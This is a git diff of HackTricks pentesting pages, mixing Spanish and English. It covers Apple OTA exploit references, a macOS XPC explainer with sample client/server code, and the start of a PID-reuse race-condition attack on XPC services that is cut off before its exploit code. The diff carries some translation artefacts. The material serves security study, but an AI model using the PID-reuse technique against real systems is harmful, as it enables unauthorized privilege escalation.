* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Comparte tus trucos de hacking enviando PR a** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
## [Pwning OTA](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)
[**En este informe**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) se explican varias vulnerabilidades que permitieron comprometer el kernel al comprometer el actualizador de software.\
[**En este informe**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) se explican varias vulnerabilidades que permitieron comprometer el kernel comprometiendo el actualizador de software.\
[**PoC**](https://github.com/jhftss/POC/tree/main/CVE-2022-46722).
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Comparte tus trucos de hacking enviando PR a** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **y** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}

View file

@ -1,49 +1,47 @@
# macOS XPC
## macOS XPC
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### Información Básica
## Basic Information
XPC, que significa XNU (el kernel utilizado por macOS) inter-Process Communication, es un marco de trabajo para la **comunicación entre procesos** en macOS e iOS. XPC proporciona un mecanismo para realizar **llamadas a métodos seguras y asíncronas entre diferentes procesos** en el sistema. Es parte del paradigma de seguridad de Apple, permitiendo la **creación de aplicaciones con separación de privilegios** donde cada **componente** funciona con **solo los permisos que necesita** para realizar su trabajo, limitando así el daño potencial de un proceso comprometido.
XPC, que significa Comunicación Inter-Procesos de XNU (el núcleo utilizado por macOS), es un marco para **la comunicación entre procesos** en macOS e iOS. XPC proporciona un mecanismo para realizar **llamadas a métodos seguras y asíncronas entre diferentes procesos** en el sistema. Es parte del paradigma de seguridad de Apple, permitiendo la **creación de aplicaciones con privilegios separados** donde cada **componente** se ejecuta con **solo los permisos que necesita** para hacer su trabajo, limitando así el daño potencial de un proceso comprometido.
XPC utiliza una forma de Comunicación Inter-Procesos (IPC), que es un conjunto de métodos para que diferentes programas que se ejecutan en el mismo sistema envíen y reciban datos.
XPC utiliza una forma de Comunicación Inter-Procesos (IPC), que es un conjunto de métodos para que diferentes programas que se ejecutan en el mismo sistema envíen datos de ida y vuelta.
Los beneficios principales de XPC incluyen:
Los principales beneficios de XPC incluyen:
1. **Seguridad**: Al separar el trabajo en diferentes procesos, a cada proceso se le pueden otorgar solo los permisos que necesita. Esto significa que incluso si un proceso está comprometido, tiene una capacidad limitada para causar daño.
2. **Estabilidad**: XPC ayuda a aislar los fallos al componente donde ocurren. Si un proceso se bloquea, puede reiniciarse sin afectar al resto del sistema.
1. **Seguridad**: Al separar el trabajo en diferentes procesos, a cada proceso se le pueden otorgar solo los permisos que necesita. Esto significa que incluso si un proceso se ve comprometido, tiene una capacidad limitada para causar daño.
2. **Estabilidad**: XPC ayuda a aislar los bloqueos al componente donde ocurren. Si un proceso falla, puede reiniciarse sin afectar al resto del sistema.
3. **Rendimiento**: XPC permite una fácil concurrencia, ya que diferentes tareas pueden ejecutarse simultáneamente en diferentes procesos.
El único **inconveniente** es que **separar una aplicación en varios procesos** que se comunican a través de XPC es **menos eficiente**. Pero en los sistemas actuales esto casi no se nota y los beneficios son mejores.
El único **inconveniente** es que **separar una aplicación en varios procesos** que se comunican a través de XPC es **menos eficiente**. Pero en los sistemas actuales esto no es casi notable y los beneficios son mejores.
### Servicios XPC Específicos de Aplicaciones
## Application Specific XPC services
Los componentes XPC de una aplicación están **dentro de la propia aplicación.** Por ejemplo, en Safari puedes encontrarlos en **`/Applications/Safari.app/Contents/XPCServices`**. Tienen la extensión **`.xpc`** (como **`com.apple.Safari.SandboxBroker.xpc`**) y son **también paquetes** con el binario principal dentro de él: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` y un `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
Los componentes XPC de una aplicación están **dentro de la propia aplicación.** Por ejemplo, en Safari puedes encontrarlos en **`/Applications/Safari.app/Contents/XPCServices`**. Tienen la extensión **`.xpc`** (como **`com.apple.Safari.SandboxBroker.xpc`**) y **también son paquetes** con el binario principal dentro de él: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` y un `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
Como podrías estar pensando, un **componente XPC tendrá diferentes derechos y privilegios** que los otros componentes XPC o el binario principal de la aplicación. EXCEPTO si un servicio XPC está configurado con [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession) establecido en "True" en su archivo **Info.plist**. En este caso, el servicio XPC se ejecutará en la **misma sesión de seguridad que la aplicación** que lo llamó.
Como podrías estar pensando, un **componente XPC tendrá diferentes derechos y privilegios** que los otros componentes XPC o el binario principal de la aplicación. EXCEPTO si un servicio XPC está configurado con [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession) establecido en “True” en su **archivo Info.plist**. En este caso, el servicio XPC se ejecutará en la **misma sesión de seguridad que la aplicación** que lo llamó.
Los servicios XPC son **iniciados** por **launchd** cuando se requieren y se **cierran** una vez que todas las tareas están **completas** para liberar recursos del sistema. **Los componentes XPC específicos de la aplicación solo pueden ser utilizados por la aplicación**, reduciendo así el riesgo asociado con posibles vulnerabilidades.
Los servicios XPC son **iniciados** por **launchd** cuando se requieren y **se apagan** una vez que todas las tareas están **completas** para liberar recursos del sistema. **Los componentes XPC específicos de la aplicación solo pueden ser utilizados por la aplicación**, reduciendo así el riesgo asociado con posibles vulnerabilidades.
### Servicios XPC de Ámbito del Sistema
## System Wide XPC services
Los servicios XPC de ámbito del sistema están accesibles para todos los usuarios. Estos servicios, ya sean de tipo launchd o Mach, necesitan estar **definidos en archivos plist** ubicados en directorios especificados como **`/System/Library/LaunchDaemons`**, **`/Library/LaunchDaemons`**, **`/System/Library/LaunchAgents`**, o **`/Library/LaunchAgents`**.
Los servicios XPC de todo el sistema son accesibles para todos los usuarios. Estos servicios, ya sean launchd o de tipo Mach, deben estar **definidos en archivos plist** ubicados en directorios específicos como **`/System/Library/LaunchDaemons`**, **`/Library/LaunchDaemons`**, **`/System/Library/LaunchAgents`**, o **`/Library/LaunchAgents`**.
Estos archivos plist tendrán una clave llamada **`MachServices`** con el nombre del servicio, y una clave llamada **`Program`** con la ruta al binario:
```xml
cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
@ -77,33 +75,82 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
</dict>
</plist>
```
Los que están en **`LaunchDameons`** son ejecutados por root. Así que si un proceso no privilegiado puede comunicarse con uno de estos, podría ser capaz de escalar privilegios.
Los que están en **`LaunchDameons`** son ejecutados por root. Por lo tanto, si un proceso no privilegiado puede comunicarse con uno de estos, podría ser capaz de escalar privilegios.
## Objetos XPC
### Mensajes de Eventos XPC
* **`xpc_object_t`**
Las aplicaciones pueden **suscribirse** a diferentes **mensajes** de eventos, lo que les permite ser **iniciadas bajo demanda** cuando ocurren dichos eventos. La **configuración** de estos servicios se realiza en archivos **plist de launchd**, ubicados en **los mismos directorios que los anteriores** y contienen una clave extra **`LaunchEvent`**.
Cada mensaje XPC es un objeto diccionario que simplifica la serialización y deserialización. Además, `libxpc.dylib` declara la mayoría de los tipos de datos, por lo que es posible hacer que los datos recibidos sean del tipo esperado. En la API de C, cada objeto es un `xpc_object_t` (y su tipo se puede verificar usando `xpc_get_type(object)`).\
Además, la función `xpc_copy_description(object)` se puede usar para obtener una representación en cadena del objeto que puede ser útil para fines de depuración.\
Estos objetos también tienen algunos métodos que se pueden llamar como `xpc_<object>_copy`, `xpc_<object>_equal`, `xpc_<object>_hash`, `xpc_<object>_serialize`, `xpc_<object>_deserialize`...
#### Verificación del Proceso de Conexión XPC
Los `xpc_object_t` se crean llamando a la función `xpc_<objetType>_create`, que internamente llama a `_xpc_base_create(Class, Size)` donde se indica el tipo de la clase del objeto (uno de `XPC_TYPE_*`) y el tamaño de este (se agregarán 40B extra al tamaño para metadatos). Lo que significa que los datos del objeto comenzarán en el desplazamiento de 40B.\
Por lo tanto, el `xpc_<objectType>_t` es una especie de subclase del `xpc_object_t`, que sería una subclase de `os_object_t*`.
Cuando un proceso intenta llamar a un método a través de una conexión XPC, el **servicio XPC debería verificar si ese proceso tiene permiso para conectarse**. Aquí están las formas comunes de verificarlo y las trampas comunes:
{% hint style="warning" %}
Tenga en cuenta que debe ser el desarrollador quien use `xpc_dictionary_[get/set]_<objectType>` para obtener o establecer el tipo y el valor real de una clave.
{% endhint %}
* **`xpc_pipe`**
Un **`xpc_pipe`** es un tubo FIFO que los procesos pueden usar para comunicarse (la comunicación utiliza mensajes Mach).\
Es posible crear un servidor XPC llamando a `xpc_pipe_create()` o `xpc_pipe_create_from_port()` para crearlo utilizando un puerto Mach específico. Luego, para recibir mensajes, es posible llamar a `xpc_pipe_receive` y `xpc_pipe_try_receive`.
Tenga en cuenta que el objeto **`xpc_pipe`** es un **`xpc_object_t`** con información en su estructura sobre los dos puertos Mach utilizados y el nombre (si lo hay). El nombre, por ejemplo, el demonio `secinitd` en su plist `/System/Library/LaunchDaemons/com.apple.secinitd.plist` configura el tubo llamado `com.apple.secinitd`.
Un ejemplo de un **`xpc_pipe`** es el **bootstrap pipe** creado por **`launchd`** que hace posible compartir puertos Mach.
* **`NSXPC*`**
Estos son objetos de alto nivel de Objective-C que permiten la abstracción de conexiones XPC.\
Además, es más fácil depurar estos objetos con DTrace que los anteriores.
* **`GCD Queues`**
XPC utiliza GCD para pasar mensajes, además genera ciertas colas de despacho como `xpc.transactionq`, `xpc.io`, `xpc-events.add-listenerq`, `xpc.service-instance`...
## Servicios XPC
Estos son **paquetes con extensión `.xpc`** ubicados dentro de la carpeta **`XPCServices`** de otros proyectos y en el `Info.plist` tienen el `CFBundlePackageType` configurado como **`XPC!`**.\
Este archivo tiene otras claves de configuración como `ServiceType` que puede ser Application, User, System o `_SandboxProfile` que puede definir un sandbox o `_AllowedClients` que podría indicar derechos o ID requeridos para contactar al servicio. Estas y otras opciones de configuración serán útiles para configurar el servicio al ser lanzado.
### Iniciando un Servicio
La aplicación intenta **conectarse** a un servicio XPC usando `xpc_connection_create_mach_service`, luego launchd localiza el demonio y comienza **`xpcproxy`**. **`xpcproxy`** aplica las restricciones configuradas y genera el servicio con los FDs y puertos Mach proporcionados.
Para mejorar la velocidad de búsqueda del servicio XPC, se utiliza una caché.
Es posible rastrear las acciones de `xpcproxy` usando:
```bash
supraudit S -C -o /tmp/output /dev/auditpipe
```
La biblioteca XPC utiliza `kdebug` para registrar acciones llamando a `xpc_ktrace_pid0` y `xpc_ktrace_pid1`. Los códigos que utiliza no están documentados, por lo que es necesario agregarlos a `/usr/share/misc/trace.codes`. Tienen el prefijo `0x29` y, por ejemplo, uno es `0x29000004`: `XPC_serializer_pack`.\
La utilidad `xpcproxy` utiliza el prefijo `0x22`, por ejemplo: `0x2200001c: xpcproxy:will_do_preexec`.
## Mensajes de Evento XPC
Las aplicaciones pueden **suscribirse** a diferentes **mensajes** de evento, lo que les permite ser **iniciados bajo demanda** cuando ocurren tales eventos. La **configuración** para estos servicios se realiza en los **archivos plist de launchd**, ubicados en los **mismos directorios que los anteriores** y que contienen una clave adicional **`LaunchEvent`**.
### Verificación del Proceso de Conexión XPC
Cuando un proceso intenta llamar a un método a través de una conexión XPC, el **servicio XPC debe verificar si ese proceso tiene permitido conectarse**. Aquí están las formas comunes de verificar eso y las trampas comunes:
{% content-ref url="macos-xpc-connecting-process-check/" %}
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
{% endcontent-ref %}
### Autorización XPC
## Autorización XPC
Apple también permite que las aplicaciones **configuren algunos derechos y cómo obtenerlos** para que, si el proceso que llama los tiene, se le **permita llamar a un método** del servicio XPC:
Apple también permite que las aplicaciones **configuren algunos derechos y cómo obtenerlos**, por lo que si el proceso que llama los tiene, se le **permitiría llamar a un método** del servicio XPC:
{% content-ref url="macos-xpc-authorization.md" %}
[macos-xpc-authorization.md](macos-xpc-authorization.md)
{% endcontent-ref %}
### Sniffer XPC
Para espiar los mensajes XPC podrías usar [**xpcspy**](https://github.com/hot3eed/xpcspy) que utiliza **Frida**.
## Sniffer XPC
Para espiar los mensajes XPC, podrías usar [**xpcspy**](https://github.com/hot3eed/xpcspy) que utiliza **Frida**.
```bash
# Install
pip3 install xpcspy
@ -114,9 +161,12 @@ xpcspy -U -r -W <bundle-id>
## Using filters (i: for input, o: for output)
xpcspy -U <prog-name> -t 'i:com.apple.*' -t 'o:com.apple.*' -r
```
Otra herramienta posible para usar es [**XPoCe2**](https://newosxbook.com/tools/XPoCe2.html).
### Ejemplo de Código C para Comunicación XPC
## Ejemplo de código C de comunicación XPC
{% tabs %}
{% tab title="xpc_server.c" %}
```c
// gcc xpc_server.c -o xpc_server
@ -170,7 +220,9 @@ dispatch_main();
return 0;
}
```
{% endtab %}
{% tab title="xpc_client.c" %}
```c
// gcc xpc_client.c -o xpc_client
@ -199,7 +251,9 @@ dispatch_main();
return 0;
}
```
{% endtab %}
{% tab title="xyz.hacktricks.service.plist" %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
@ -220,9 +274,8 @@ return 0;
</dict>
</plist>
```
No hay contenido en inglés proporcionado para traducir al español. Por favor, proporcione el texto en inglés que necesita ser traducido.
{% endtab %}
{% endtabs %}
```bash
# Compile the server & client
gcc xpc_server.c -o xpc_server
@ -242,8 +295,7 @@ sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server
```
### Ejemplo de Código en Objective-C para Comunicación XPC
## Ejemplo de Código de Comunicación XPC en Objective-C
{% tabs %}
{% tab title="oc_xpc_server.m" %}
@ -346,26 +398,25 @@ return 0;
```
{% endtab %}
{% endtabs %}
```bash
# Compile the server & client
gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
\`\`\`bash # Compile the server & client gcc -framework Foundation oc\_xpc\_server.m -o oc\_xpc\_server gcc -framework Foundation oc\_xpc\_client.m -o oc\_xpc\_client
# Save server on it's location
cp oc_xpc_server /tmp
## Save server on it's location
# Load daemon
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
cp oc\_xpc\_server /tmp
# Call client
./oc_xpc_client
## Load daemon
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
## Call client
./oc\_xpc\_client
## Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc\_xpc\_server
````
# Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server
```
## Cliente dentro de un código Dylb
```objectivec
// gcc -dynamiclib -framework Foundation oc_xpc_client.m -o oc_xpc_client.dylib
@ -399,18 +450,38 @@ NSLog(@"Done!");
return;
}
````
```
## Remote XPC
Esta funcionalidad proporcionada por `RemoteXPC.framework` (de `libxpc`) permite comunicarse a través de XPC entre diferentes hosts.\
Los servicios que admiten XPC remoto tendrán en su plist la clave UsesRemoteXPC como es el caso de `/System/Library/LaunchDaemons/com.apple.SubmitDiagInfo.plist`. Sin embargo, aunque el servicio estará registrado con `launchd`, es `UserEventAgent` con los plugins `com.apple.remoted.plugin` y `com.apple.remoteservicediscovery.events.plugin` los que proporcionan la funcionalidad.
Además, el `RemoteServiceDiscovery.framework` permite obtener información del `com.apple.remoted.plugin` exponiendo funciones como `get_device`, `get_unique_device`, `connect`...
Una vez que se utiliza connect y se recopila el socket `fd` del servicio, es posible usar la clase `remote_xpc_connection_*`.
Es posible obtener información sobre servicios remotos utilizando la herramienta cli `/usr/libexec/remotectl` con parámetros como:
```bash
/usr/libexec/remotectl list # Get bridge devices
/usr/libexec/remotectl show ...# Get device properties and services
/usr/libexec/remotectl dumpstate # Like dump withuot indicateing a servie
/usr/libexec/remotectl [netcat|relay] ... # Expose a service in a port
...
```
La comunicación entre BridgeOS y el host ocurre a través de una interfaz IPv6 dedicada. El `MultiverseSupport.framework` permite establecer sockets cuyos `fd` se utilizarán para comunicarse.\
Es posible encontrar estas comunicaciones usando `netstat`, `nettop` o la opción de código abierto, `netbottom`.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,39 +1,40 @@
# Reutilización de PID en macOS
# macOS PID Reuse
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Reutilización de PID
## PID Reuse
Cuando un servicio **XPC** de macOS está verificando el proceso llamado basado en el **PID** y no en el **token de auditoría**, es vulnerable a un ataque de reutilización de PID. Este ataque se basa en una **condición de carrera** donde un **exploit** va a **enviar mensajes al servicio XPC** **abusando** de la funcionalidad y justo **después** de eso, ejecutar **`posix_spawn(NULL, binary_objetivo, NULL, &attr, argumentos_objetivo, entorno)`** con el **binario permitido**.
Cuando un **servicio XPC** de macOS está verificando el proceso llamado basado en el **PID** y no en el **token de auditoría**, es vulnerable a un ataque de reutilización de PID. Este ataque se basa en una **condición de carrera** donde un **exploit** va a **enviar mensajes al servicio XPC** **abusando** de la funcionalidad y justo **después** de eso, ejecutando **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** con el binario **permitido**.
Esta función hará que el **binario permitido posea el PID** pero el **mensaje XPC malicioso habría sido enviado** justo antes. Entonces, si el servicio **XPC** utiliza el **PID** para **autenticar** al remitente y lo verifica **DESPUÉS** de la ejecución de **`posix_spawn`**, pensará que proviene de un proceso **autorizado**.
Esta función hará que el **binario permitido tenga el PID**, pero el **mensaje XPC malicioso se habría enviado** justo antes. Así que, si el servicio **XPC** **usa** el **PID** para **autenticar** al remitente y lo verifica **DESPUÉS** de la ejecución de **`posix_spawn`**, pensará que proviene de un proceso **autorizado**.
### Ejemplo de exploit
Si encuentras la función **`shouldAcceptNewConnection`** o una función llamada por ella que **llama** a **`processIdentifier`** y no llama a **`auditToken`**. Es altamente probable que esté **verificando el PID del proceso** y no el token de auditoría.\
Si encuentras la función **`shouldAcceptNewConnection`** o una función llamada por ella **llamando** a **`processIdentifier`** y no llamando a **`auditToken`**. Es muy probable que esté **verificando el PID del proceso** y no el token de auditoría.\
Como por ejemplo en esta imagen (tomada de la referencia):
<figure><img src="../../../../../../.gitbook/assets/image (306).png" alt="https://wojciechregula.blog/images/2020/04/pid.png"><figcaption></figcaption></figure>
Verifica este ejemplo de exploit (nuevamente, tomado de la referencia) para ver las 2 partes del exploit:
Revisa este ejemplo de exploit (nuevamente, tomado de la referencia) para ver las 2 partes del exploit:
* Uno que **genera varios forks**
* **Cada fork** enviará el **payload** al servicio XPC mientras ejecuta **`posix_spawn`** justo después de enviar el mensaje.
* Una que **genera varios forks**
* **Cada fork** enviará la **carga útil** al servicio XPC mientras ejecuta **`posix_spawn`** justo después de enviar el mensaje.
{% hint style="danger" %}
Para que el exploit funcione es importante ` exportar`` `` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** o incluir dentro del exploit:
Para que el exploit funcione, es importante ` export`` `` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`** o poner dentro del exploit:
```objectivec
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
@ -43,7 +44,7 @@ asm(".section __DATA,__objc_fork_ok\n"
{% tabs %}
{% tab title="NSTasks" %}
Primera opción utilizando **`NSTasks`** y argumento para lanzar los procesos hijos para explotar el RC
Primera opción usando **`NSTasks`** y argumento para lanzar los hijos para explotar el RC
```objectivec
// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
// gcc -framework Foundation expl.m -o expl
@ -152,7 +153,7 @@ return 0;
{% endtab %}
{% tab title="fork" %}
